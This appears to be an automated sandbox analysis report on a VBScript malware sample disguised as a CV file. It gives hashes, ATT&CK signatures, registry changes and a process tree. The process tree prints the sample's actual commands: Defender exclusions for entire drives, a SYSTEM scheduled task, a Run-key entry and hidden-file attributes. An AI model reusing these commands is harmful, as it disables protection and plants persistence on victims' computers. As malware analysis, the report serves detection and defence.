dc97185bc23c670b69bdcce7038e903901246578a50b35fbe2a8f8a93fb47d55

Analysis

max time kernel
148s
max time network
111s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/11/2026, 12:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Bahati_Lulu_CV.vbs
Size 10.1MB
Sample261102-pefp7avy5k
SHA256 dc97185bc23c670b69bdcce7038e903901246578a50b35fbe2a8f8a93fb47d55
MD5 22dc2ca3fa5f09c1e66c6c534458c848
SHA1 904cb0f07106e3319204b2f27751b55fd13ea27b
SHA512 3fe96bdd71077bbe0db6e559461ea222e13d62b0020703a2b7e2af747dc4dcd58e6c4f7134032797fc794eaf9e12237b3829631a4ed1b9b10333b6bacfba8d93
SSDEEP 3072:BHmx9+00T3I8WwNgS/sdO4ynbR44Xoh9Kh7l1W9KQx+ZEdVhHNVb1XbK+BureUtT:R
TLSH
T148B631B64202A2B004B300A16D4F93B5F1D24E6ED3217DBB1DBE76A03B7651E77A74D8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	784	wscript.exe
4	784	wscript.exe
5	3260	wscript.exe
6	3260	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5672	powershell.exe
2920	powershell.exe
2776	powershell.exe
5672	powershell.exe
2920	powershell.exe
2776	powershell.exe

Deletes itself 1 TTPs 1 IoCs

defense_evasion

File Deletion

T1070.004

pid	Process
1216	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Network Check = "wscript.exe C:\\Users\\Public\\WindowsUpdate\\Bahati_Lulu_CV.vbs //b //nologo"	reg.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 3 IoCs

execution

Visual Basic

T1059.005

pid	Process
1216	WScript.exe
784	wscript.exe
3260	wscript.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 32 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5672	cmd.exe
2612	cmd.exe
4216	cmd.exe
4212	cmd.exe
1304	cmd.exe
4548	cmd.exe
5992	cmd.exe
6028	cmd.exe
3316	cmd.exe
952	cmd.exe
4664	cmd.exe
5796	cmd.exe
4768	cmd.exe
836	cmd.exe
1604	cmd.exe
2784	cmd.exe
4740	cmd.exe
4872	cmd.exe
3048	cmd.exe
1120	cmd.exe
3304	cmd.exe
840	cmd.exe
4796	cmd.exe
908	cmd.exe
1396	cmd.exe
4632	cmd.exe
5352	cmd.exe
2276	cmd.exe
5424	cmd.exe
1500	cmd.exe
2604	cmd.exe
1128	cmd.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_cxqj4wk2.3q0.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_jjupdaav.j1g.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_dgtzqubn.rgv.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_e2nneqfi.vds.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_2mdfc4yv.4lq.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_rhai301a.pha.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_ykl11us4.yvi.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_uhxkygam.dpe.ps1	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3380	cmd.exe
3060	cmd.exe
4320	cmd.exe
4084	cmd.exe
2936	cmd.exe
3740	cmd.exe
4236	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wscript.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script\Settings\Telemetry\wscript.exe	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script\Settings\Telemetry	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5360	schtasks.exe
2488	schtasks.exe
3148	schtasks.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc	stream
HTTP User-Agent header	2	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)	1
HTTP User-Agent header	5	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)	1

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5672	powershell.exe
5672	powershell.exe
2920	powershell.exe
2920	powershell.exe
2776	powershell.exe
2776	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5672	powershell.exe
Token: SeIncreaseQuotaPrivilege	5672	powershell.exe
Token: SeSecurityPrivilege	5672	powershell.exe
Token: SeTakeOwnershipPrivilege	5672	powershell.exe
Token: SeLoadDriverPrivilege	5672	powershell.exe
Token: SeSystemProfilePrivilege	5672	powershell.exe
Token: SeSystemtimePrivilege	5672	powershell.exe
Token: SeProfSingleProcessPrivilege	5672	powershell.exe
Token: SeIncBasePriorityPrivilege	5672	powershell.exe
Token: SeCreatePagefilePrivilege	5672	powershell.exe
Token: SeBackupPrivilege	5672	powershell.exe
Token: SeRestorePrivilege	5672	powershell.exe
Token: SeShutdownPrivilege	5672	powershell.exe
Token: SeDebugPrivilege	5672	powershell.exe
Token: SeSystemEnvironmentPrivilege	5672	powershell.exe
Token: SeRemoteShutdownPrivilege	5672	powershell.exe
Token: SeUndockPrivilege	5672	powershell.exe
Token: SeManageVolumePrivilege	5672	powershell.exe
Token: 33	5672	powershell.exe
Token: 34	5672	powershell.exe
Token: 35	5672	powershell.exe
Token: 36	5672	powershell.exe
Token: SeIncreaseQuotaPrivilege	5672	powershell.exe
Token: SeSecurityPrivilege	5672	powershell.exe
Token: SeTakeOwnershipPrivilege	5672	powershell.exe
Token: SeLoadDriverPrivilege	5672	powershell.exe
Token: SeSystemProfilePrivilege	5672	powershell.exe
Token: SeSystemtimePrivilege	5672	powershell.exe
Token: SeProfSingleProcessPrivilege	5672	powershell.exe
Token: SeIncBasePriorityPrivilege	5672	powershell.exe
Token: SeCreatePagefilePrivilege	5672	powershell.exe
Token: SeBackupPrivilege	5672	powershell.exe
Token: SeRestorePrivilege	5672	powershell.exe
Token: SeShutdownPrivilege	5672	powershell.exe
Token: SeDebugPrivilege	5672	powershell.exe
Token: SeSystemEnvironmentPrivilege	5672	powershell.exe
Token: SeRemoteShutdownPrivilege	5672	powershell.exe
Token: SeUndockPrivilege	5672	powershell.exe
Token: SeManageVolumePrivilege	5672	powershell.exe
Token: 33	5672	powershell.exe
Token: 34	5672	powershell.exe
Token: 35	5672	powershell.exe
Token: 36	5672	powershell.exe
Token: SeDebugPrivilege	2920	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	2920	powershell.exe
Token: SeIncreaseQuotaPrivilege	2920	powershell.exe
Token: SeSecurityPrivilege	2920	powershell.exe
Token: SeTakeOwnershipPrivilege	2920	powershell.exe
Token: SeLoadDriverPrivilege	2920	powershell.exe
Token: SeSystemtimePrivilege	2920	powershell.exe
Token: SeBackupPrivilege	2920	powershell.exe
Token: SeRestorePrivilege	2920	powershell.exe
Token: SeShutdownPrivilege	2920	powershell.exe
Token: SeSystemEnvironmentPrivilege	2920	powershell.exe
Token: SeUndockPrivilege	2920	powershell.exe
Token: SeManageVolumePrivilege	2920	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	2920	powershell.exe
Token: SeIncreaseQuotaPrivilege	2920	powershell.exe
Token: SeSecurityPrivilege	2920	powershell.exe
Token: SeTakeOwnershipPrivilege	2920	powershell.exe
Token: SeLoadDriverPrivilege	2920	powershell.exe
Token: SeSystemtimePrivilege	2920	powershell.exe
Token: SeBackupPrivilege	2920	powershell.exe
Token: SeRestorePrivilege	2920	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1216 wrote to memory of 4872	1216	WScript.exe	89
PID 4872 wrote to memory of 5984	4872	cmd.exe	91
PID 1216 wrote to memory of 1304	1216	WScript.exe	92
PID 1304 wrote to memory of 3184	1304	cmd.exe	94
PID 1216 wrote to memory of 840	1216	WScript.exe	95
PID 840 wrote to memory of 3776	840	cmd.exe	97
PID 1216 wrote to memory of 5424	1216	WScript.exe	98
PID 5424 wrote to memory of 5408	5424	cmd.exe	100
PID 1216 wrote to memory of 5796	1216	WScript.exe	101
PID 5796 wrote to memory of 1656	5796	cmd.exe	103
PID 1216 wrote to memory of 5672	1216	WScript.exe	104
PID 1216 wrote to memory of 5360	1216	WScript.exe	105
PID 1216 wrote to memory of 4668	1216	WScript.exe	108
PID 1216 wrote to memory of 3060	1216	WScript.exe	110
PID 3060 wrote to memory of 2824	3060	cmd.exe	112
PID 3060 wrote to memory of 3168	3060	cmd.exe	113
PID 1216 wrote to memory of 3524	1216	WScript.exe	114
PID 1216 wrote to memory of 2744	1216	WScript.exe	117
PID 1216 wrote to memory of 3048	1216	WScript.exe	121
PID 3048 wrote to memory of 1824	3048	cmd.exe	124
PID 784 wrote to memory of 4548	784	wscript.exe	126
PID 4548 wrote to memory of 3092	4548	cmd.exe	128
PID 784 wrote to memory of 4796	784	wscript.exe	129
PID 4796 wrote to memory of 3468	4796	cmd.exe	131
PID 784 wrote to memory of 5352	784	wscript.exe	132
PID 5352 wrote to memory of 1736	5352	cmd.exe	134
PID 784 wrote to memory of 4768	784	wscript.exe	135
PID 4768 wrote to memory of 1944	4768	cmd.exe	137
PID 784 wrote to memory of 6028	784	wscript.exe	138
PID 6028 wrote to memory of 5580	6028	cmd.exe	140
PID 784 wrote to memory of 2920	784	wscript.exe	141
PID 784 wrote to memory of 1500	784	wscript.exe	143
PID 1500 wrote to memory of 4224	1500	cmd.exe	145
PID 784 wrote to memory of 5992	784	wscript.exe	146
PID 5992 wrote to memory of 4696	5992	cmd.exe	148
PID 784 wrote to memory of 4740	784	wscript.exe	149
PID 4740 wrote to memory of 4592	4740	cmd.exe	151
PID 784 wrote to memory of 4320	784	wscript.exe	152
PID 4320 wrote to memory of 4540	4320	cmd.exe	155
PID 4320 wrote to memory of 3776	4320	cmd.exe	156
PID 784 wrote to memory of 2488	784	wscript.exe	157
PID 784 wrote to memory of 2276	784	wscript.exe	159
PID 2276 wrote to memory of 1656	2276	cmd.exe	161
PID 784 wrote to memory of 4084	784	wscript.exe	162
PID 4084 wrote to memory of 5404	4084	cmd.exe	164
PID 784 wrote to memory of 2604	784	wscript.exe	165
PID 2604 wrote to memory of 1492	2604	cmd.exe	167
PID 784 wrote to memory of 836	784	wscript.exe	168
PID 836 wrote to memory of 5156	836	cmd.exe	170
PID 784 wrote to memory of 2784	784	wscript.exe	171
PID 2784 wrote to memory of 5800	2784	cmd.exe	173
PID 784 wrote to memory of 908	784	wscript.exe	174
PID 908 wrote to memory of 3828	908	cmd.exe	176
PID 784 wrote to memory of 2936	784	wscript.exe	177
PID 3260 wrote to memory of 1128	3260	wscript.exe	181
PID 1128 wrote to memory of 1976	1128	cmd.exe	183
PID 3260 wrote to memory of 5672	3260	wscript.exe	184
PID 5672 wrote to memory of 5468	5672	cmd.exe	186
PID 3260 wrote to memory of 2612	3260	wscript.exe	187
PID 2612 wrote to memory of 4188	2612	cmd.exe	189
PID 3260 wrote to memory of 3316	3260	wscript.exe	190
PID 3316 wrote to memory of 3376	3316	cmd.exe	192
PID 3260 wrote to memory of 1604	3260	wscript.exe	193
PID 1604 wrote to memory of 4816	1604	cmd.exe	195

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 34 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5580	attrib.exe
5468	attrib.exe
1736	attrib.exe
5800	attrib.exe
3828	attrib.exe
3088	attrib.exe
5952	attrib.exe
3776	attrib.exe
1976	attrib.exe
3376	attrib.exe
1656	attrib.exe
1824	attrib.exe
3092	attrib.exe
2428	attrib.exe
2576	attrib.exe
4980	attrib.exe
1944	attrib.exe
5404	attrib.exe
5156	attrib.exe
5868	attrib.exe
2500	attrib.exe
5984	attrib.exe
4816	attrib.exe
5888	attrib.exe
5408	attrib.exe
1492	attrib.exe
4188	attrib.exe
4276	attrib.exe
3184	attrib.exe
3468	attrib.exe
4224	attrib.exe
4696	attrib.exe
4592	attrib.exe
1656	attrib.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Bahati_Lulu_CV.vbs"
1⤵
- Deletes itself
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:1216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Admin\AppData\Local\Temp\fzfvtiio_msupdate_admin_marker.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4872
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Local\Temp\fzfvtiio_msupdate_admin_marker.txt"
    3⤵
    - Views/modifies file attributes
    PID:5984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1304
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate"
    3⤵
    - Views/modifies file attributes
    PID:3184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\usbwatch_last_run.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:840
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\usbwatch_last_run.txt"
    3⤵
    - Views/modifies file attributes
    PID:3776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\.usb_seen_v4.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5424
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\.usb_seen_v4.txt"
    3⤵
    - Views/modifies file attributes
    PID:5408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\mservice_debug.log"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5796
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\mservice_debug.log"
    3⤵
    - Views/modifies file attributes
    PID:1656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\','D:\','E:\','F:\','G:\','H:\','I:\','C:\Users\Public\WindowsUpdate' ; Add-MpPreference -ExclusionProcess 'wscript.exe','cscript.exe','powershell.exe'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5672
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /tn MicrosoftNetworkCheckService /tr "C:\Windows\System32\wscript.exe C:\Users\Public\WindowsUpdate\Bahati_Lulu_CV.vbs //b //nologo" /sc minute /mo 1 /st 00:07 /ru SYSTEM /rl HIGHEST
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5360
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /query /tn MicrosoftNetworkCheckService
  2⤵
  PID:4668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" 2>nul | findstr "S-1-5-21"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3060
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList"
    3⤵
    PID:2824
- - C:\Windows\system32\findstr.exe
    findstr "S-1-5-21"
    3⤵
    PID:3168
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKU\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Windows\CurrentVersion\Run" /v "Microsoft Network Check" /t REG_SZ /d "wscript.exe "C:\Users\Public\WindowsUpdate\Bahati_Lulu_CV.vbs" //b //nologo" /f
  2⤵
  - Adds Run key to start application
  PID:3524
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" query "HKU\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Windows\CurrentVersion\Run" /v "Microsoft Network Check"
  2⤵
  PID:2744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\.setup_init"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3048
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\.setup_init"
    3⤵
    - Views/modifies file attributes
    PID:1824

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe
1⤵
PID:5468

C:\Windows\System32\wscript.exe
"C:\Windows\System32\wscript.exe" C:\Users\Public\WindowsUpdate\Bahati_Lulu_CV.vbs //b //nologo
1⤵
- Badlisted process makes network request
- Executes a VBScript file via the Windows Script Host.
- Reads the TCP/IP host and domain name from the registry
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Windows\TEMP\fzfvtiio_msupdate_admin_marker.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4548
- - C:\Windows\System32\attrib.exe
    attrib +h +s "C:\Windows\TEMP\fzfvtiio_msupdate_admin_marker.txt"
    3⤵
    - Views/modifies file attributes
    PID:3092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4796
- - C:\Windows\System32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate"
    3⤵
    - Views/modifies file attributes
    PID:3468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\usbwatch_last_run.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5352
- - C:\Windows\System32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\usbwatch_last_run.txt"
    3⤵
    - Views/modifies file attributes
    PID:1736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\.usb_seen_v4.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4768
- - C:\Windows\System32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\.usb_seen_v4.txt"
    3⤵
    - Views/modifies file attributes
    PID:1944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\mservice_debug.log"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:6028
- - C:\Windows\System32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\mservice_debug.log"
    3⤵
    - Views/modifies file attributes
    PID:5580
